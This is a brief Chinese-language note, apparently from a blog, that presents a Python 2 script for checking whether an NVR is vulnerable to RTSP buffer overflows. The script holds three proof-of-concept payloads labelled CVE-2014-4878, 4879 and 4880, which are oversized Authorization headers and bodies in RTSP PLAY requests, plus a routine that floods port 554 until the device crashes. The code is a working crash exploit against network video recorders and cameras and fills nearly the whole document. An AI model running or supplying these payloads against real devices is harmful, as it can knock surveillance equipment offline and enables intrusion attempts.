rtsp缓冲区漏洞攻击模拟

验证NVR是否存在rtsp缓冲区漏洞问题，可采用如下脚本，特此记录；

#!/usr/bin/env python

# coding: utf-8

import sys

import socket

from time import sleep

def cve20144878_poc(host,suffix):

    payload = 'PLAY rtsp://'+host+'/'+suffix+ ' RTSP/1.0\r\n'

    payload += 'CSeq: 7\r\n'

    payload += 'Authorization: Basic AAAAAAA\r\n'

    payload += 'Content-length: 3200\r\n\r\n'

    payload += 'A' * (13200)

    return payload

def cve20144879_poc(host,suffix):

    payload = 'PLAY rtsp://'+host+'/'+suffix+ ' RTSP/1.0\r\n'

    payload += 'Authorization'

    payload += 'A' * 1024

    payload += ': Basic AAAAAAA\r\n\r\n'

    return payload

def cve20144880_poc(host,suffix):

    payload = 'PLAY rtsp://'+host+'/'+suffix+ ' RTSP/1.0\r\n'

    payload += 'CSeq: 7\r\n'

    payload += 'Authorization: Basic '

    payload += 'A' * 2048

    payload += '\r\n\r\n'

    payload += 'B' * 1024

    return payload

def test_znv_pro(host,suffix):

    soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:

        soc.connect((host, 554))

    except socket.error:

         return False

    payload = 'PLAY rtsp://'+host+'/'+suffix+ ' RTSP/1.0\r\n'

    payload += 'CSeq: 7\r\n'

    payload += 'Authorization: Basic AAAAAAA\r\n'

    payload += 'Content-length: 3200\r\n\r\n'

    soc.send(payload);

    try:

        for i in range(1,1024*1024):

                if i%4 == 0:

                    sleep(1)

                soc.send('Z'*1024)

                print str(i)

    except socket.error:

        print 'error:%s' %socket.error

    soc.close();

    sleep(5)  # sleep to wait server crash

    soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:

         soc.connect((host, 554))

    except socket.error:

         return True

    return False

 #检验访问地址及端口是否存在   

def check_port_on(host):

    soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    check_target = (str(host), int(554))

    status = soc.connect_ex(check_target)

    print 'check_target' + str(check_target)

    if status == 0 :

        return True

    else:

        print 'status '+  str(status)

    return False

#检验目标设备是否存在内存漏洞问题

def check_vuln_exists(host, poc,suffix):

    print 'aaaa\n'

    soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print 'def\n'

    try:

        soc.connect((host, 554))

    except socket.error:

        return False

    print 'abc\n'

    if poc == '1':

        payload = cve20144878_poc(host,suffix)

    elif poc == '2':

        payload = cve20144879_poc(host,suffix)

    else:

        payload = cve20144880_poc(host,suffix)

    

    print str(payload)

    soc.send(payload)

    soc.close()

    sleep(5)  # sleep to wait server crash

    soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:

        soc.connect((host, 554))

    except socket.error:

        return True

    return False

if __name__ == '__main__':

    target = "192.168.20.101"#sys.argv[1],攻击设备的IP地址

    suffix = "000100"#sys.argv[2],视频通道号

    poc_number = "4"#sys.argv[3],攻击内存块号？？？？？

    if poc_number not in '1234':

        print 'Choose one POC.'

        sys.exit()

    print 'target:'+target

    print 'poc_number ' + poc_number

    if check_port_on(target):#检验访问地址是否存在

        if poc_number=='4':

            vuln_exists = True

            test_znv_pro(target,suffix)

        else:

            vuln_exists = check_vuln_exists(target, poc_number,suffix)

        

        if vuln_exists:

            print 'Target is vulnerable.'

        else:

            print 'Target may not be vulnerable.'

    else:

        print 'RTSP(port 554) closed'